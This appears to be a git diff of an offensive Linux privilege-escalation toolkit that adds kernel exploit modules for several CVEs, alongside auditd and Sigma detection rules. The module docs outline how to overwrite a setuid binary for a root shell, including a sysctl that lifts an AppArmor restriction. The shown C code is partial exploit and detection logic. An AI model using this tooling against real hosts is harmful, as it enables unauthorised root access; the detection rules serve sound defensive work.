"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||
|
||||
static const char dd_sigma[] =
|
||||
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n"
|
||||
" DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n"
|
||||
" followed by modification of a setuid-root binary or /etc/passwd.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/usr/bin/su', '/bin/su', '/usr/bin/mount',\n"
|
||||
" '/usr/bin/passwd', '/usr/bin/chsh', '/etc/passwd', '/etc/shadow']\n"
|
||||
" not_root:\n"
|
||||
" auid|expression: '!= 0'\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n";
|
||||
|
||||
const struct skeletonkey_module dirtydecrypt_module = {
|
||||
.name = "dirtydecrypt",
|
||||
.cve = "CVE-2026-31635",
|
||||
.summary = "rxgk missing-COW in-place decrypt → page-cache write into a setuid binary",
|
||||
.family = "dirtydecrypt",
|
||||
.kernel_range = "Linux 7.0 (vulnerable rxgk code added in 7.0); mainline fix commit a2567217 in 7.0",
|
||||
.detect = dd_detect,
|
||||
.exploit = dd_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = dd_cleanup,
|
||||
.detect_auditd = dd_auditd,
|
||||
.detect_sigma = dd_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirtydecrypt(void)
|
||||
{
|
||||
skeletonkey_register(&dirtydecrypt_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,87 @@
|
||||
# fragnesia — CVE-2026-46300
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
|
||||
escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers — so the kernel forgets that a fragment is externally backed by
|
||||
page-cache pages spliced in from a file. The ESP-in-TCP receive path
|
||||
then decrypts in place, corrupting the page cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
|
||||
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
|
||||
commit it "fixes". It is the same page-cache-write bug class as Copy
|
||||
Fail / Dirty Frag, reached through a different code path.
|
||||
|
||||
## Primitive
|
||||
|
||||
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
|
||||
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
|
||||
whose keystream byte XORs the current byte to the target.
|
||||
2. Enter a mapped **user namespace** + **network namespace**, bring
|
||||
loopback up, and install an XFRM **ESP-in-TCP** state
|
||||
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
|
||||
3. A **receiver** accepts a loopback TCP connection and flips it to the
|
||||
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
|
||||
target file into that TCP stream behind a crafted ESP prefix.
|
||||
4. The coalesce bug makes the kernel decrypt the spliced page-cache
|
||||
pages in place — one chosen byte per trigger.
|
||||
|
||||
The exploit rewrites the first 192 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
|
||||
0 and `execve`s `/bin/sh`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
|
||||
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
|
||||
(or chain a separate bypass). This is the scoping question the old
|
||||
`_stubs/fragnesia_TBD` raised; the module ships and reports
|
||||
`PRECOND_FAIL` cleanly when the userns gate is closed.
|
||||
- `CONFIG_INET_ESPINTCP` built into the kernel.
|
||||
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Port notes
|
||||
|
||||
The upstream PoC renders a full-screen ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
|
||||
ported — it cannot coexist with a shared multi-module dispatcher.
|
||||
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
|
||||
The exploit mechanism itself is reproduced faithfully.
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned**: the Fragnesia fix ships in
|
||||
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
|
||||
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
|
||||
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
|
||||
6.12) are currently still vulnerable per the tracker. With `--active`,
|
||||
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
|
||||
and reports empirically — catches stable-branch backports the version
|
||||
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
|
||||
primitive is structurally unreachable.
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a
|
||||
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
|
||||
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
|
||||
@@ -0,0 +1,48 @@
|
||||
# NOTICE — fragnesia
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
|
||||
local privilege escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers, so the kernel loses track of the fact that a fragment is
|
||||
externally backed by page-cache pages spliced in from a file. The
|
||||
ESP-in-TCP receive path then decrypts in place, corrupting the page
|
||||
cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
|
||||
the candidate fix explicitly cites the Dirty Frag patch
|
||||
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
|
||||
made a previously latent flaw practically exploitable.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **William Bowling** with the **V12 security** team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
|
||||
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC
|
||||
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
|
||||
interface. The exploit primitive — the AES-GCM keystream-byte table
|
||||
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
|
||||
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
|
||||
192-byte ELF payload — is reproduced from that PoC.
|
||||
|
||||
**Port adaptation:** the PoC's ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escape sequences) is
|
||||
**not** carried over — it is incompatible with running as one module
|
||||
among many under a shared dispatcher. Progress is reported with
|
||||
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
|
||||
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
|
||||
support, and the embedded detection rules. Research credit belongs to
|
||||
the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
|
||||
creation. The CVE-2026-46300 fix commit is not yet pinned in this
|
||||
module — see `MODULE.md`.
|
||||
@@ -0,0 +1,31 @@
|
||||
# Fragnesia (CVE-2026-46300) — auditd detection rules
|
||||
#
|
||||
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
|
||||
# read-only file. These rules flag the syscall surface the exploit
|
||||
# drives and writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/shadow -p wa -k skeletonkey-fragnesia
|
||||
|
||||
# AF_ALG socket creation (family 38) — builds the GCM keystream table
|
||||
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
|
||||
|
||||
# XFRM state setup over NETLINK_XFRM
|
||||
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
|
||||
|
||||
# TCP_ULP espintcp + ESP setsockopt surface
|
||||
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
|
||||
|
||||
# splice() drives page-cache pages into the ESP-in-TCP stream
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
|
||||
@@ -0,0 +1,30 @@
|
||||
title: Possible Fragnesia exploitation (CVE-2026-46300)
|
||||
id: 9b3d2e71-skeletonkey-fragnesia
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the Fragnesia XFRM
|
||||
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
|
||||
of a setuid-root binary or credential file, typically inside a
|
||||
freshly created user + network namespace.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/fragnesia
|
||||
- https://lists.openwall.net/netdev/2026/05/13/79
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.46300
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
|
||||
#define FRAGNESIA_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module fragnesia_module;
|
||||
|
||||
#endif
|
||||
@@ -59,15 +59,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -153,57 +159,53 @@ static const struct kernel_range fuse_legacy_range = {
|
||||
sizeof(fuse_legacy_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* detect */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] fuse_legacy: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
||||
* kernels predate the code path entirely. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
/* user_ns availability comes from the shared host fingerprint. The
|
||||
* fingerprint's probe uses CLONE_NEWUSER alone; this module also
|
||||
* needs CLONE_NEWNS, but the kernel gates both on the same userns
|
||||
* sysctls (kernel.unprivileged_userns_clone / AppArmor restriction),
|
||||
* so the userns probe is a sound proxy. */
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
@@ -378,7 +380,6 @@ struct fuse_arb_ctx {
|
||||
bool trigger_armed;
|
||||
};
|
||||
|
||||
#ifdef __linux__
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
@@ -504,15 +505,6 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
(unsigned long)kaddr);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
|
||||
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
|
||||
return -1;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* exploit */
|
||||
@@ -526,8 +518,11 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* (R2) Refuse if already root — no LPE work to do. */
|
||||
if (geteuid() == 0) {
|
||||
/* (R2) Refuse if already root — no LPE work to do. Consult
|
||||
* ctx->host first so unit tests can construct a non-root
|
||||
* fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
||||
}
|
||||
@@ -732,7 +727,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
* runs because the arb_write primitive re-fires the trigger and
|
||||
* needs the live spray.
|
||||
* --------------------------------------------------------------- */
|
||||
#ifdef __linux__
|
||||
if (ctx->full_chain) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
||||
@@ -792,7 +786,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Clean up our IPC queues and mapping. The kernel slab state
|
||||
* after the overflow may be unstable; we exit cleanly on success
|
||||
@@ -826,6 +819,28 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: fsopen/fsconfig + userns+mountns clone are
|
||||
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fuse_legacy: Linux-only module "
|
||||
"(fsopen + fsconfig + userns mount) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] fuse_legacy: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* embedded detection rules */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
@@ -58,16 +58,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -76,8 +81,6 @@
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -91,31 +94,6 @@
|
||||
#ifndef SOL_IP
|
||||
#define SOL_IP 0
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
|
||||
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
||||
* constants are absent on Darwin; stub them so the .c file compiles
|
||||
* cleanly under either toolchain. The actual exploit body is gated
|
||||
* by `#ifdef __linux__` at runtime entry. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define IPPROTO_RAW 255
|
||||
#define SOL_IP 0
|
||||
#define IPT_SO_SET_REPLACE 64
|
||||
struct ipt_replace { char dummy; };
|
||||
__attribute__((unused)) static int msgget(int a, int b) { (void)a;(void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int msgsnd(int a, const void *b, size_t c, int d) { (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static ssize_t msgrcv(int a, void *b, size_t c, long d, int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int msgctl(int a, int b, void *c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
#define IPC_PRIVATE 0
|
||||
#define IPC_CREAT 01000
|
||||
#define IPC_NOWAIT 04000
|
||||
#define IPC_RMID 0
|
||||
#define MSG_COPY 040000
|
||||
#endif
|
||||
|
||||
/* ---- Kernel range ------------------------------------------------- */
|
||||
|
||||
@@ -139,53 +117,44 @@ static const struct kernel_range netfilter_xtcompat_range = {
|
||||
|
||||
/* ---- Detect ------------------------------------------------------- */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
|
||||
"(bug existed since 2.6.19, 2006)\n", v.release);
|
||||
"(bug existed since 2.6.19, 2006)\n", v->release);
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
||||
"unprivileged exploit path unreachable\n");
|
||||
@@ -202,8 +171,6 @@ static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_c
|
||||
|
||||
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* Write uid_map and gid_map after unshare so we're root in userns.
|
||||
* This is the standard setgroups=deny pattern; without it the uid_map
|
||||
* write is rejected on modern kernels for unprivileged callers. */
|
||||
@@ -471,8 +438,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ — close original primitive block */
|
||||
|
||||
/* ---- Full-chain arb-write primitive --------------------------------
|
||||
*
|
||||
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
||||
@@ -509,8 +474,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
||||
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
||||
* returns -1 without ever queueing the follow-up. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct xtcompat_arb_ctx {
|
||||
/* Spray queues kept hot across multiple arb_write calls. The
|
||||
* msg_msg slots seeded here are what the finisher uses as
|
||||
@@ -636,15 +599,16 @@ static int xtcompat_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
||||
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK && geteuid() == 0) {
|
||||
/* Consult ctx->host first so unit tests can construct a non-root
|
||||
* fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (pre == SKELETONKEY_OK && is_root) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -652,7 +616,7 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -661,11 +625,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early with the manual-
|
||||
* workflow help — no point doing the userns + spray + trigger
|
||||
@@ -944,7 +903,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
